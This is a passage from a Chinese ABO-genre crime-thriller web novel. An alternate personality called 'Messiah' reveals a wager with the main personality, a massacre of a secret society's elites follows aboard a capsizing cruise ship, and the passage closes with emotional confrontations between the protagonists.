—会因为人格融合感到痛苦的夏青,会因为被排除在自己人生之外而流泪的夏青,拥有着宝贵回忆和信念的夏青,居然就这样被面前的这个人当成可以随意赠送和收回的礼物。“你没有资格这么做,你不能是他,"徐长嬴泪流满面地望着那双空洞的琥珀色眼睛,浑身颤抖道:“………那我这么多年做的一切还有什么意义。”“弥赛亚”却只是没有任何情绪地望着他,似乎并不明白他为什么会如此歇斯底里。在昏暗又闪烁不定的灯光里,身处在角落的林殊华的脸上满是惊惧,他不可置信地看着浑身是血矗立在甲板之上的极优性alpha,又看向已经溃不成军的屋大维派系,心中一股可怕的预感几乎呼之欲出。“所有的夏青?”“弥赛亚”重复了一遍,他肩膀处的枪伤还在流血,因此嗓音不由得变得嘶哑,但神情却依旧冰冷空洞,他缓缓开口道:“我不知道你是在说谁,但如果是主人格,那这本来就是出自他的旨意。”话音落下,徐长嬴怔住了,然而末等他反应过来,下一秒,他就看见“弥赛亚”直直望着自己的深邃眼神: "他在24岁的时候答应了我提出的一个赌约。" 徐长嬴道:“什么赌约?” “弥赛亚”却笑了:“一个很有趣的游戏。” “他绝大多数时候都在沉睡,就算是我也感知不到他,"“弥赛亚”缓声道,“但其实在他在隧道前唤醒我的两年后,也许是因为你过得还可以,所以他有段时间突然变得很不安分。” "有几次我回过神后,我都会发现他差一点杀了这具身体。" 极优性alpha的沙哑声音回荡在废墟一般的豪华舱室里,根本没有人敢发出任何一点声音,与基路伯的人手对峙着的SEL贵族们脸色苍白地如同等候审判一般,倾听着LEBEN的独裁者的血腥独角戏。 “弥赛亚”道:“但好在事情发生了转机——自从2017年你被SEL里的IGO高层故意派往极有可能爆发暴动的地区,遭遇了不幸的意外,又被他亲眼看到你被摘取腺体后,他就变得很安分了,并且很快就答应了我提出的赌约。" 海风从落地窗里灌入房间,几乎要将徐长嬴浑身的血液全部冻僵,他缓了足足一秒,才在心脏迸发出的尖锐疼痛中意识到“弥赛亚”说了怎样可怕的话语。 而一旁角落里的蔡司闻言也直接愣在了原地,脑子嗡的一声响了,他的眼前飞快闪过那如同噩梦一般的回忆碎片——被暴徒涌入的顶楼餐厅,西装外套后背的那道白色污渍,以及倒在血泊中一动不动的beta专员。 他没有想到,冥冥之中,这个痛苦的过往居然是更庞大的多米诺骨牌的一环,将命运推向了更可怕的深渊。 “所以,”徐长嬴努力睁大了眼睛,不让眼泪模糊视线,他质问道:“所以你和他赌了什么?” “你还没有反应过来吗?”极优性alpha攥着显示倒计时的卫星手机,一双没有任何情绪的淡漠眼睛定定看着beta,露出了虚假的不解情绪: “当然是你,浮士德。” 徐长嬴愣住了。 “很简单的游戏规则,延续了第一代emperor在你父亲身上没有做成功的事。” “游戏的结算时间是‘基因突变论’成立的那一刻。” “弥赛亚”道:“如果我能够成功引诱你成为第四席emperor,那么他就要将这具身体完全交给我。如果我失败了,那么我就要兑现承诺,要亲自结束游戏。”徐长嬴的眼睛缓缓睁大了。 “你想的是对的。” “恭喜你,"“弥赛亚”站在南太平洋上的火并现场对beta微笑道,“他赢了。” GAME OVER. UTC-3时区的19点35分。 在这一刻,徐长嬴终于明白为什么他会在阿布扎比的生死时刻突然想起20岁的夏青。 ——他穿着深色大衣,戴着驼色围巾,站在学校或是某个街道的红墙前,是那么的陌生的夏青,他看着自己的眼神也很奇怪,有爱意,有埋怨,有赞许,有不满,但最奇怪的是,他好像一直永远站在原地,永远在那里等着自己。 原来是因为他真的永远站在时间的长河里,永远地无休止地等待着。 "虽然我也已经很多年没有和他说过话了,但是因为我很喜欢这个游戏,所以我决定遵守游戏规则。" 在忽明忽灭的应急灯光中,海景会客厅的角落中的屋大维派系的贵族们的心中都涌出了可怕的预感,以至于他们原本满是灰败和绝望的脸庞上再度爬上了一丝狠厉,仅剩的雇佣兵们开始在掩体后不动声色握住了手中的枪支。 而站在水族箱前的徐长嬴对此一无所知,他张了张口,终于颤声问道: "结束游戏是什么意思?" “弥赛亚”站在原地,神情温和地看着beta,只是脸上的笑意虚浮又空洞,“当然是结束一切。” “包括LEBEN在内的一切。” 他平静地补充道。 徐长嬴的眼中浮现出了不可置信的神情,而也正是在这一时刻,比他反应更快的则是早已有所预料的SEL贵族。 电光火石之间,只见“弥赛亚”和蒙面士兵面前的几个沙发和桌子形成的掩体骤然转出了三名黑西装雇佣兵,并将手中的枪全部都直直对准了站在最中间的极优性alpha。 身为AGB专员的徐长赢在短短的一瞬迅速意识到发生了什么,他望着枪口下那张熟悉的脸庞,瞳孔猛地紧缩,心脏比身体更快做出反应,发出了撕心裂肺的痛楚— “砰!” 枪声再度响彻在空旷的舱室之中,那是畏惧死亡的考伯特等人的最后一搏。 就在徐长嬴几乎是本能地喊出不要的时候,他的耳边传来清晰的子弹击中血肉和骨头的爆裂声,随即下一刻,一直钳制着他的尤金就轰然倒了下去。 枪声先是停了一瞬,下一秒就又再次疯狂的炸开了,只不过这次的局势已经成为了单方面的碾压—— 身处角落里的蔡司等人看得极其清楚,就在考伯特的人刚站起的一瞬间,子弹就精准地洞穿了那三人的脖颈与脑袋,下一瞬,那几声枪响就如同真正的发令枪一般,原本沉默守在极优性alpha身侧的蒙面士兵们就立刻开火,迅速向前推进,直直逼近了考伯特所在的区域。 角落里的林殊华脸色煞白地抬起脸,只见舷窗里的狙击手不知何时早已被屠杀殆尽,替换成了基路伯,或者说弥赛亚的人。 不过数秒,脸上被溅上鲜血的徐长嬴站在舱室的中间,怔怔地转过头,就透过昂贵的水族箱看见了考伯特那惨白的脸庞。 下一秒,“砰”的一颗子弹直接穿透了这个LEBEN组织中势力最为庞大的emperor的头颅,在死亡的瞬间,所谓的屋大维实际上与房间里的任何一个雇佣兵,甚至与他处决过的任何一个“贱民”都没有区别,他那浑浊的眼睛睁地极大,眼中满是惊恐和不甘心,还有无尽的怨恨。而在这残酷的一幕上演之时,“弥赛亚”就这样静静地看着一切,他的身后就是被冲锋枪轰碎的落地窗,他似乎就要与黑夜、大海的气息融为一体,作为基路伯口中这世界上最标准的独裁者,冷血地置身事外。“你这个该死的小偷!”贾里德诺伦歇斯底里的诅咒声响起,这个亿万富翁在生前最后一刻仍然不敢相信自己会就这样死在自己亲手建造的游轮之上: “你根本不配成为弥赛亚!LEBEN不该属于你们这样的随心所欲的疯子!凭什么基路伯和你——” 震耳欲聋的枪声很快就淹没了这群永生会贵族的惊恐的尖叫声,一场血腥的清洗就这样以极高的效率在短短几十秒里迅速执行着,将这艘游轮上最有权力的人尽数屠杀。 在闪烁不定的光线里,赵洋侧过脸,看见不远处林殊华的状况也极其危险,尽管他作为提比略并不是蒙面士兵的最大目标,但他手下的雇佣兵在之前的枪战中已经所剩无几,转眼之间,眼看屋大维阵营就要被清理完毕,即将就轮到他们。林殊华的脸色苍白冷硬,并不像考伯特和贾里德那样显露出面对死亡的狼狈与不堪,他靠在鎏金电梯旁的墙壁上,手中紧握着一把手枪,似乎是察觉到赵洋的视线,他侧过脸,隔着两扇电梯门的距离冷冷望着他。然而下一秒,蒙面雇佣兵已经调转枪口,子弹瞬间洞穿了挡在林殊华前面的一个亚商雇佣兵,鲜血瞬间溅在提比略的墨色西装上,又再度消失不见。 林殊华瞬间攥紧了手中的手枪,他猛地抬起眼,正当他的眼中闪过一丝狠厉之时,海景会客厅的大门被再度撞开了— “不许动!放下武器!” 走廊闪烁不定的灯光照亮了闯进来的全副武装队伍,正是接受了安柏的指令前来救援的B队—塞缪尔等人是通过员工通道进入的顶层甲板,他们刚进入西侧走廊就听见了交火声再度响起,顾不上一路上躺在血泊中的SEL雇佣兵尸体,为了潜在可能存在的人质,他们只能咬牙冲进火并现场。 然而饶是做好了心理准备,塞缪尔等AGB专员也被会客厅中的惨状所震慑住了,只见在冲锋枪的火光中,黑西装雇佣兵们都倒在满地的玻璃碎片与高档家具残骸上,他们也终于看见了不知怎么出现在游轮上的第三支武装力量。 "Drop your weapon!Now!" 然而,B队精英专员的到来并没有在第一时间制止火并,相反,那群训练有素的蒙面士兵似乎早就料到他们的到来,其中两人迅速抬枪朝着他们所在的门口开枪射击,以至于塞缪尔小队只能立刻俯身躲避。也正是在这时,塞缪尔看见了那矗立在昏暗光线中的两个人影,赫然就是艾德蒙警督和营救小队的拉尔夫教授,其中beta警督身形单薄地站在三具被击毙的雇佣兵之中,此刻也在枪林弹雨之中侧过脸望向自己。然而与塞缪尔想象的不同,艾德蒙看见他们的到来并没有表现出惊喜等正常情绪,那双明亮漆黑的眼睛中满是麻木与绝望。 “教授!趴下!” 被火力压制在门口无法进入的专员水野这时也看见了不远处的极优性alpha,不由得焦急大声道。 只见拉尔夫教授仍然穿着战术马甲,鲜血已经染红了马甲里的白色衬衫,但他仿佛并不知道痛苦一般,只是挺拔地站立在艺术吊灯下,宛若黑夜的一个影子。 望着已经所剩无几的SEL雇佣兵和不知从何出现的蒙面士兵,塞缪尔已经隐隐察觉到了不对劲,但眼看着三名蒙面士兵迅速向着拉尔夫教授袭去,他来不及多想,迅速命令水野等另一半人负责beta警督,自己带头冲进了弹雨直直扑向极优性alpha。 与此同时,藏身在角落里的劳拉也看见了这一幕,她的瞳孔瞬间紧缩,厉声道:“停下!” 但塞缪尔已经冲到了极优性alpha的面前,也正是在这时,他看清了这人脸上的神情。 宛若雕塑一般冷硬的脸庞上一双极浅的眸子正冷冷看着他,那眼中什么都没有,只有无尽的冰冷、漠然和居高临下的审视。 不对,塞缪尔的心脏猛地一紧,然而末等他反应过来向后撤一步,一道低沉的、诡异的轰隆声就出现在了整个舱室里。 不仅是塞缪尔,房间里的所有人都听见了,而且一旁贴着舱壁的蔡司等人听得更加清楚,因为这个声音极其沉闷,并不像是通过空气从远处传来,而像是——通过他们身处其中的船体。 蔡司瞬间睁大了眼睛。 不过半秒,一股强烈的震动就突然出现在所有人的脚下,一时间舱室里的不少雇佣兵和蒙面士兵都因为船体的晃动而东倒西歪,密集的枪声也停滞了一瞬。 也正是这一瞬的停滞给了剩下的雇佣兵机会,赵洋只觉得眼前一晃,随即才看清是林殊华一个手下突然举起手中的手枪,只是枪口并不是对准蒙面士兵,而是那矗立在中央的水族箱 只见那已经布满蛛网状裂纹的特制玻璃终于在这一枪的加持下破开了一个拳头大的小孔,但在下一瞬,裂纹迅速向四周迅速蔓延,等到蒙面士兵与B队专员都意识到发生什么已经来不及了。 “轰”的一声,那拳头大的小孔迅速扩大为直径半米的窟窿,足足有70立方米的水瞬间从那玻璃上的洞倾泄而出,而最可怕的莫过于,伴随着压力的变化和水流的冲击,那破掉的洞还在不断扩大,整个巨型水族箱将会在数秒,甚至瞬息之间彻底破裂。 尽管开枪的提比略心腹已经被蒙面士兵下意识击毙了,但但是他所带来的灾难也犹如无法停止的链式反应,彻底改变了整个舱室里的事态发展。 喷涌而出的水流瞬间淹没了每一个人的脚踝,深水箱远比两个人高的水面出现了滚筒洗衣机一样的漩涡,每一个蒙面士兵与B队专员望着那个漩涡眼中都浮现出惊恐之意,他们都知道下一瞬整块玻璃崩溃,数十立方米的水直接压下来并冲进整个房间是什么样的破坏力——那只会和一辆小汽车撞过来没有区别。 而在这时,赵洋看见另一个亚裔雇佣兵冲了过来,刷开指纹锁后砸下了单向电梯的开关,原本就停留在顶层甲板的鎏金电梯门立刻打开了,但这样的动静自然吸引了蒙面士兵的注意,下一瞬,子弹就倾泄在电梯的方向。 但最靠近电梯的赵洋也因此被瞬间波及了,末等他来得及躲藏,流弹就直接擦过了他左侧脸颊,一旁的蔡司见状就要扑过来将他向后拖进桌子里,但一个亚裔雇佣兵却比他更快,直接将赵洋薅起作为人质拖进了电梯,而蒙面士兵见状也真的停下了枪击。 也正是这短暂的停歇,电梯门也就因此合上了,蔡司立刻用手去砸那开关,但是没有指纹的他根本没有权限,而也正是这一时刻,他听见一道昭示着不详的“咔嚓”声在空气中突然响起。 蔡司迅速抬起头,他看见了即将崩溃的深水箱,以及就站在一旁的徐长嬴,他再也顾不得一切,对着身侧的范伦丁喝了一声“RUN”就起身向着beta冲去。 那五秒变得很慢,蔡司看见基路伯的人并没有阻止他们与B队专员,而只是沉默地望着他们,直到他在小腿深的水里一把拽过徐长嬴,他都没有时间去看一眼蒙面士兵身后的夏青——不,那不是夏青。 就在最后一秒,蔡司双目赤红地刚将beta推出会客厅,自己甚至都没有迈出去,身后的水族箱就彻底崩溃了,一股强劲的水流直接拍上了他的后背,将他掀翻在走廊的积水中,也将他推出了那噩梦一般的豪华舱室。 一旁更快撤离出来的塞缪尔小队立刻接应了他们,一行人迅速向着船员通道奔去,然而就在他们拐入新的长廊时,两分钟前在会客厅里出现过的震动再次出现了,而且这次的幅度更大,三四个队员也因此不由得摔倒在地毯上。 简直就像地震一样。 “不对劲。”脸色苍白的劳拉突然开口道,她看向眼前漆黑一片的长廊深处,灰色眼睛中满是疑虑和惊惧,“就算是我们脚下的甲板爆炸也不应该是这种动静——” 话音未落,戴着通讯耳麦的塞缪尔等B队成员的脸色却突然变了,蔡司喘了口气,敏锐道:“怎么了?” 专员卡尔文的面色惨白,眼中满是不可置信道,“驾驶舱说底层甲板的压载水箱被破坏了。” “让我们所有人务必要在20分钟内赶到救生甲板。” 蔡司愣住了。 135、世界尽头11 ... UTC-3时区的19点37分。 驾驶舱里。 “什么动静?” 正在与PNA通讯的安柏突然开口道。 驾驶舱里的所有人闻言立刻看向这个alpha局长,只见安柏俊朗的脸庞上神情坚毅,一双海蓝色眼睛紧紧盯着舷窗外,正在听着在13层甲板的罗伊等人汇报的乔舒亚也抬起头,“局长,什么——”乔舒亚的话刚开口,整个驾驶舱里就猛地摇晃了一下,站在控制台旁的一个专员没有防备地踉跄了一步,双手扶住设备才稳住身体。 舱内所有人的脸上在一瞬间不约而同露出了惊异的神情——在有着先进稳定系统的豪华游轮上感受到船舶的摇晃实在是一件极其罕见的事。 不如说,正是这样的摇晃才让众人意识到他们真的是身处一条船舶而非陆地上。 而也正是在这时,尖锐警报声又突然再度回响在整个舱室里。 只是这次的警报与十分钟断电前不同,明显级别更高,机舱组合报警系统的LED灯柱伴随着警笛声开始闪烁操纵台的显示屏上也瞬间弹出了数个警告弹窗。 在令人心慌的刺耳警报声中,站在二副身侧的专员立刻皱着眉质问道:“又发生了什么?” 然而那个英国人二副却没有回复他。 安柏与乔舒亚不禁转过身看向这个经验丰富的英国船员,但就是这一眼,他们几人都怔住了——只见二副宛若僵住了一般,一双紧紧盯着主屏幕的褐色眼睛中满是惊恐和不可置信。 “怎么了?”孔嘉欣意识到了事态可能超出一般预期,立刻厉声道。 而也正是在这时,安柏已经看见不仅是二副,尖锐的警报声中,被绑在蓝色地板上的船长和其他高级船员的脸色都煞白一片,宛若看见了未日一般的灾难。 “压载水舱被破坏了,”二副恍若回神般绝望地叫道,“而且是双层底舱的压载水舱——海水已经倒灌,水舱的液位和压力现在全都失控了!” 在场的许多专员并不明白船员口中的专业名词代表着什么,乔舒亚强压住眼中的疑虑和惊异,追问道:“冷静点!那会发生什么?” 二副哆嗦着还没有回答,所有人的脚底下又再次传来更加剧烈的震动,这次安柏等人都更加明显地感知到了整个船体的摇晃,也在这时不用二副的解说,所有人都发现了舱室地板与水平线之间出现的明显倾斜角度。 “这艘船会翻?”安柏眼中闪过震惊,他一把拽住了东倒西歪的英国人领子,厉声道:“那现在有什么补救措施?” “没有,游轮的应急发电机组也被毁了,主甲板的集控室根本没有办法运作,更不可能手动干预压载水舱系统,”被揪住领子的英国佬几乎都快吓哭了,嘴唇哆嗦道:“而且舵机停车了,我们没办法通过辅助推进装置来维持船舶的稳定——" “还有多久?”安柏打断了他。 英国人一怔,下一秒,只见安柏脸色阴冷地质问道:“还有多久船会翻?” 二副看了一眼VDR(船舶数据记录仪)上的波动的数据,颤声道:“最多,半小时,不,最好是在20分钟内,我们都必须前往救生甲板,那里有救生艇…”所有人都愣住了。 安柏松开了他的领子,英国人就这样一屁股坐在了驾驶舱地板上,刺耳的无法停下的警报声里,每一个专员的脸上都浮现出了强烈的震惊和不可思议,乔舒亚更是看向英国人质问道:“可这不是15万吨的游轮吗!怎么可能会倾覆?” 说着,乔舒亚抬起头看向宽阔的驾驶舱,在场的所有人都无法想象这艘犹如钢铁城市的豪华游轮居然会倾覆。 “压载水舱被爆破后,海水会涌入一侧压载水舱,整个游轮的重心就彻底偏移了,这是船舶能面对的最残酷的灾难之一。” 被捆在地板上的美国人船长惨白着一张脸解释着,脸上写满了最深的恐惧与惊愕:“老天,究竟是谁会做出这样疯狂事情……” 听到这里,A队的每一个人脸色都凝固住了——他们都想到了在二十分钟前突然在游轮上出现的第三支队伍,他们至今都无法确定这一支队伍的身份以及目的。为什么要清洗掉永生会的雇佣兵,为什么要炸毁发电机组,为什么要彻底毁掉这艘游轮,以及所有专员最关心的——他们对在底层甲板执行任务的劳拉警督和C队成员做了什么?这一切都是分散在游轮各个角落拼命的AGB专员百思不得其解的巨大谜题,然而末等乔舒亚等人更多思考这一问题,他们通讯耳麦里突然传来了A队罗伊的声音:“局长!我们在13层甲板,游轮刚刚的摇晃刺激到了舱室里的贵族们——现在局势又开始失控了!游轮是发生了什么?”也许是听到了罗伊的声音,负责14层甲板的C队诺曼也迅速接入了频道:"14层甲板当前也是一样的情况!而且游轮的倾斜好像越来越严重了,越来越多的人出现在断电的长廊里要求去停机坪——"话音未落,又是一阵剧烈的晃动,驾驶舱里和耳麦对面的专员都又再一次猝不及防地摔倒在地上。 被捆住双手的船长等人更是无法保持平衡,身子不受控制地歪倒在蓝色的地板上,只能神经质 一般地快速喃喃道:“压载水箱失控后会威胁整个船体的结构,我们必须抓紧黄金的半小时逃离,不然后期的大规模倾覆很可能就会在短短几分钟里……" 安柏一脚踹翻了胆小怕死的船长,一双蓝眼睛里散发出骇人的恐吓意味,他用英文对着面露惊恐的高级船员们一字一句道: “就算你们是他妈的国际罪犯,在这种时候也必须给我负起作为船员的职责!普通船员在这种时候做什么你们就做什么,不然我现在就把你们一个个都扔进海里——现在都他妈的站起来!”在凶神恶煞的AGB局长的威慑下,穿着笔挺深色制服的大副被孔嘉欣从地上薅起来后扑向了控制台,大脑空白了两秒后,才想起了应该做的紧急措施,颤抖着按下了驾驶台的警报装置。一瞬间,七短一长声的弃船警报声通过有着独立电源的警报系统席卷了整艘游轮的各个角落。 彼时正是19点40分。 与此同时,顶层甲板的员工楼梯里。 足足一分钟的警笛声结束后,塞缪尔等人都听见了由机械女音播报的要求所有人前往7层的救生甲板通知。 “一定又是基路伯的人炸的,”浑身是水的蔡司站在楼梯口,他强撑着冷静用英语分析道:“他们的目标中没有AGB,所以齐枫他们很有可能还活着——我们要分头行动。” 塞缪尔已经站在了漆黑一片的楼梯下方—整艘游轮除了顶层甲板还拥有光明,其他的所有甲板都陷入了断电的黑暗之中。 劳拉接过卡尔文递来的耳麦,她靠在墙壁上,昏暗的光线掩盖了她的表情,众人只能听见女性alpha警督沉声道: “林家的那个孩子一定不会杀了赵洋,他们一定是去13层的停机坪了,我们要抽两路人手出来,一路去找赵洋,还有一路跟着我去底层甲板找C队成员,其他人直接去救生甲板接应A队和C队。”蔡司也接过B队成员抛来的耳麦,他立刻斩钉截铁道:“我和范伦丁去找赵洋,塞缪尔你们带着艾德蒙先去救生甲板。” 劳拉道:“我也只要两个人,汇报给安柏他们吧。” 不过三十秒,站在楼梯上的精英专员们就迅速安排好了下面的行动,话音落下,蔡司就一边戴上耳麦一边向下走去。 然而只走了一步,他就停了下来。 蔡司抬起头,看见被自己拽着的beta停在了光与暗交接处。 过去的几十分钟犹如一场可怖的噩梦,以至于蔡司内心已经隐约感知到了某种危机,所以他故意没有和徐长赢说话,只是强硬地拽着beta的手和自己一起逃跑。但果然,蔡司明白,有些事情根本无法逃避过去。 “我就不去了。” 徐长嬴就这样身形单薄地站在楼梯口的光里,衬衫上与身上的血迹一起被水流冲淡了许多,露出了一张苍白如纸的干净面孔。 刚刚疲于奔命,站在楼梯下方的塞缪尔等一行B队专员实际上并不清楚海景会客厅里究竟发生了什么,他们只来得及知道第三支队伍是基路伯的人,与原有的永生会的emperor们发生了火并。 至于为什么刚刚为什么没有营救拉尔夫教授,或者说,为什么拉尔夫教授没有和他们一起离开,塞缪尔等人都来不及细问,他们只是察觉到劳拉与蔡司的沉默背后藏着某种更可怕的真相。 徐长赢站在蔡司的逆光处,因此蔡司只能看清beta的脸庞轮廓,却看不太清这人眼中的具体情绪,只是听见他又平静地重复了一遍:“我要回去。” 蔡司只觉得胸口一滞,他紧紧攥住徐长嬴的手,咬牙道:“你回去能做什么?别自以为是了。” “我不能让他留在那里。”徐长嬴的手冷得犹如一块握不住的冰,尽管蔡司抓得很紧,但他的心中还是不可避免地蒙上了一层绝望。 徐长嬴望着他的眼睛:“我必须要回去的,蔡司。” 空气中还回荡着刺耳的警笛声和警报声,脚下的钢铁楼梯伴随着微不可查的重心变换而发出可疑的咯吱声,一切都预示着命运的容错率正随着时间的一分一秒的流逝而飞速下降。蔡司选择收紧手中的力度,愠怒道:“你是蠢货吗?你回去根本没有任何意义,还会让我们的营救行动彻底失败,我凭什么让你回 去!你以为我们抽出宝贵的人力是来看你送死的吗!”徐长嬴与蔡司说的都是中文,而塞缪尔B队里的许多队员都是北美和欧洲专员,并不熟悉中文,因此只能一脸茫然和紧张地看着这对著名的死对头警督爆发着争执,只是罕见的是beta警督第一次彻底落于下风。 徐长嬴道:“对不起,我——” “这世界上的所有对不起都解决不了任何问题,”蔡司愤怒地打断了徐长嬴对自己说的第一个道歉,他怒声道:“现在你能够弥补我们损失的做法只有下来,然后跟着塞缪尔一起去救生甲板,你以为你还是随心所欲的beta警督吗?你别忘了你现在他妈的只是一个犯罪嫌疑人!" 在最后的生死时刻,北美分局的优性alpha警督终于对最讨厌的beta警督骂出了顺畅的中文脏话,然而徐长嬴这个锱铢必较的小人这次却并没有生气,他只是微微睁大了眼睛,然后定定看着他,回握了一下他的手。 “你——”蔡司眼眶滚烫地正要再说什么,但劳拉突然按住了他的肩膀。 劳拉低声道:“我们走吧,艾德蒙已经想好了。” 蔡司的喉咙被哽住了,他只觉得脸庞仿佛都麻木了,在徐长嬴抽走右手的时候胸腔里涌出了一股难以言喻的恐惧和绝望,他突然发现他还有很多话要说,比如他觉得应该是他说对不起,如果不是他的懦弱让徐长嬴失去了腺体,说不定这一切都不会发生。 又比如,他也知道徐长嬴无法说出口的那个秘密是什么,因为他一直都在注视着他,所以才会知道是什么让他会那么痛苦。 但最终还是来不及说出口。 蔡司看见徐长嬴在尖锐的警笛声中走了下来,接过了劳拉递来的手枪,最后回过头望了他一眼,然后轻声说了一句“多谢了”。 “赵洋就拜托你们了。” 看着那人头也不回的背影,蔡司颤抖地攥紧了已经空无一物的左手。 顶层甲板的单向电梯是唯——个直达emperor专属停机坪的竖向通道,就在电梯门刚合上后,赵洋就感觉到拽着自己的力气突然消失,他转头看去才发现挟持着自己的黑西装雇佣兵在刚刚已经中枪,此刻正无 力地顺着电梯箱壁倒在了地上。大片大片的鲜血染红了电梯的金色镜面,赵洋僵立在昏黄的顶灯下,在那血色的镜子中看见了自己惊愕的眼睛,以及林殊华冷若冰霜的脸庞。电梯里只剩下了他与林殊华,以及林殊华仅剩的一个心腹,就连顾铭泽也在刚刚可怖的火并中死亡,但提比略本人还活着已经比屋大维阵营强上了一万倍。就在赵洋还没有缓过神的时候,鎏金电梯门就再度开启了,林殊华与另一个黑西装没有任何犹豫地就直接走了出去,似乎根本没有在意身后的电梯里还有一个死人和活人。赵洋低头看了一眼那个眼睛还未闭上的尸体,又仓惶地看了一眼走在漆黑通道里的两人,咬牙就快步跟了上去。通道很狭窄,在黑暗中赵洋感觉很像机场的廊桥,因为鞋子踩在地板的声音很明显是金属的质感,而前面的两人头也不回,感觉也并不在意自己跟着他们。大约只走了十几米,赵洋的眼前就出现了光亮,随即下一秒,一股冷冽的海风就迎面吹了上来。正是13层甲板的专属直升机停机坪,因为边界灯和瞄准点灯的电力系统都是独立的,所以在断电的游轮上,停机坪的甲板反而成为了最显眼的存在。赵洋看见林殊华走在他的前面,在踏出通道的那一刻,海风吹开了他的西装下摆,他就这样在通道口站了一会儿,直到前面的黑西装手下站在不远处甲板上冲他点了点头,林殊华才再度迈开步子。赵洋再也按耐不住胸口的情绪,他大声叫了一句“林殊华”就直接阔步向前冲了过去。只是话音刚落,就在赵洋三步并两步也要赶到通道口前的那一刻,游轮再度出现了那股诡异的震动,甚至连廊桥也发出了可怕的吱呀声,比之前更加强烈的摇晃感让赵洋一个踉跄差点栽倒。等到赵洋好不容易站稳后,他才发现自己已经站在通道口,并也在这一刻看清了整个停机坪的惨状——显然这里也发生过了枪战。强光照射下的两架Sikorsky S-92依旧正常停在停机坪上,但在附近的甲板上则横七竖八地躺满了永生会的雇佣兵,足足有20人,赵洋能够认出这些应该还都是屋大维的手下。13层甲板通往这里的舱门大敞着,因为断电只能看到里面漆黑一片,但想来里面一路上也应该是被基路伯的人清理掉的雇佣兵尸体。整个甲板上安静的可怕,林殊华站在被强光照射的停机坪圈外,看着仅剩的心腹在两架直升机上爬上爬下检查着飞机的状况。 “林殊华!”赵洋看着无动于衷的男人,一股无言的怒火在他的胸口猛地烧了起来,他跨过血泊中的尸体,冲上前一把揪住了林殊华的领子,厉声道:“你为什么要这么做?”探照灯的强光打在林殊华的脸上,让那张本就白皙冷峻的脸庞更加冷硬,林殊华手中握着枪,冷冷地盯着赵洋,“我不知道你在说什么,但我觉得你现在最好松手。”然而赵洋却收紧了手中的力度,他看着林殊华近在咫尺的眼睛,怒声道:“你为什么要当提比略!你他妈的明明什么都有,你一直活得高高在上的犯什么贱?你就一定要去当林光霁那样没人性的畜生吗!”“放手,”林殊华用力掰开他的手,语气森冷道:“你没有资格这么问我。” “我没有资格?”赵洋双目赤红,怒吼道:“你他妈的林家人害死我老爸我没有资格问你!” 话音落下,赵洋感觉到对方掰开自己的手猛地停住了,林殊华的脸色瞬间难看起来。 “你什么都知道,你这么多年居然还能装成没事人一样和我说话,”赵洋眼眶滚烫地看着林殊华没有血色的脸,咬牙切齿道:“把我当傻逼很有意思吗?”“我有的选吗?” 汹涌的海风里,尖锐的警笛声骤然回荡在甲板上,林殊华神情冷峭地盯着眼眶通红的赵洋,一字一句的反问道:“杀你父亲的不是我,但是我能对你说出口吗?” “在你眼里我做什么都是错的,“林殊华讥讽道,“徐长嬴他不也早就知道你父亲是被冤枉害死的,但是他不也没和你说吗?你怎么不去问他?” 赵洋揪着林殊华的领子,反驳道:“这怎么能一样?徐长嬴他明明是——” “这怎么不一样!”林殊华直接打断了赵洋的话,他恶狠狠地盯着赵洋的眼睛,戏谑道:“就因为徐长嬴无论做什么都是有苦衷的,我做恶事就是因为我秉性下等,罪大恶极是吗?”赵洋怒道:“这他妈关徐长嬴什么事?你非要提他干什么!” “这他妈当然关他的事,“林殊华冷冷盯着赵洋,海风吹散了他额前的头发,衬得林殊华那双眼睛在黑夜中亮的惊人,“你根本什么都不知道。” “明明所有人都是假的就好了,但偏偏有一个人是真的。” “就算徐长赢自己去做他那光明坦荡的优性alpha也可以,但为什么他不惜毁掉自己的也要改写夏青的人生?最后结果就是他把所有人的人生也一起毁了。”赵洋怔住了,他看见林殊华眼底的痛意和愤怒,听见他缓缓开口道:“明明如果没有夏青,我也可以成为林家一辈子不用接触LEBEN的那个人,更不用当这个所谓的emperor。”“那你为什么不拒绝?”赵洋攥紧了林殊华的胳膊,眼眶通红地质问道:“你拒绝林光霁还能硬逼你当提比略吗?” “拒绝?” 林殊华的眼中闪过了一抹自嘲,紧接着下一秒,他的脸上就再度写满了冷意和倨傲,他语气漠然道: “对于我来说,人生只有不知道LEBEN和成为提比略两种可能,只要我被纳入LEBEN的圈层之中,我就不可能拒绝,因为我就是这样的人,你眼中的所谓正确道路还是错误道路对我来说没有任何意义,这世界上每一个人都只是另一个人的棋子罢了。” 赵洋望着林殊华眼中的残忍和欲望,在这一瞬间只觉得面前这个人格外陌生和可怕,胸腔里也立刻蔓延开了一股寒意,连带着下意识松开了手。然而将他的反应尽收眼底的林殊华却笑了,他的脸颊上被溅上了鲜血,此刻在强光下更显生冷和残酷,他自嘲道:“你看同样都是emperor,露出真面目的时候,在你眼中果然还是我更加面目可憎——所以你来问我为什么当提比略简直可笑至极。”赵洋闻言脸色骤然发白,但反应过来后,他又再次抓住林殊华的肩膀恼怒道:“林殊华你是傻逼吗?你为什么一定要钻这个牛角尖?”“因为你从来没有选过我!” 林殊华甩开了赵洋的手,他怒声道:“林家人是对不起你,但是我什么时候对不起你?可你每一次,每一次,每一次!都没有选择我。” “我其实一开始根本就不在乎你,”林殊华定定地看着赵洋的脸,嗤笑了一声,“因为你只不过是一个再普通不过的alpha,但是你却总是出现在徐长嬴的身边,明明你们家世天差地别,但你却总是对我不屑一顾,却又和他谈笑风生。" “所以我一直很好奇,徐长嬴究竟比我强在哪里?我要怎么做才能有你这样的朋友?” 赵洋脸上的血色一点点褪去,林殊华眼眶泛红地质问他道:“我对你不好吗?你哪一次来找我,我没有尽全力帮你?就算8年前你走投无路来求我帮你找徐长嬴,我不是也帮你找了吗?” “可在你眼里我永远比不上徐长嬴,”林殊华那双无波无澜的漆黑眼睛中此刻燃烧出了从未有过的妒火:“你现在居然怨恨我是害死你父亲的林家人—你忘了当年我知道你父亲去世之后就赶回国来找你,我对你说什么都不用担心,我会帮你,你当时亲口答应我要和我一起走,结果呢?” 林殊华红着眼眶咬牙切齿道:“——你刚答应我的那一天晚上就去见了徐长嬴,告诉他你要留下来,徐长嬴他妈的自身难保他能给你什么?让你去读了一个二本警校当一个大腿中枪都拿不到二等功的废物警察?” 2010年9月,广州。 凌晨的高架桥上。 18岁的林殊华静静地站在人行道的另一侧,看着不远处的栏杆旁蹲着的两个少年,看着赵洋背对着自己用手臂不停抹着眼泪,他就这样看了一会儿,就转身离开了。 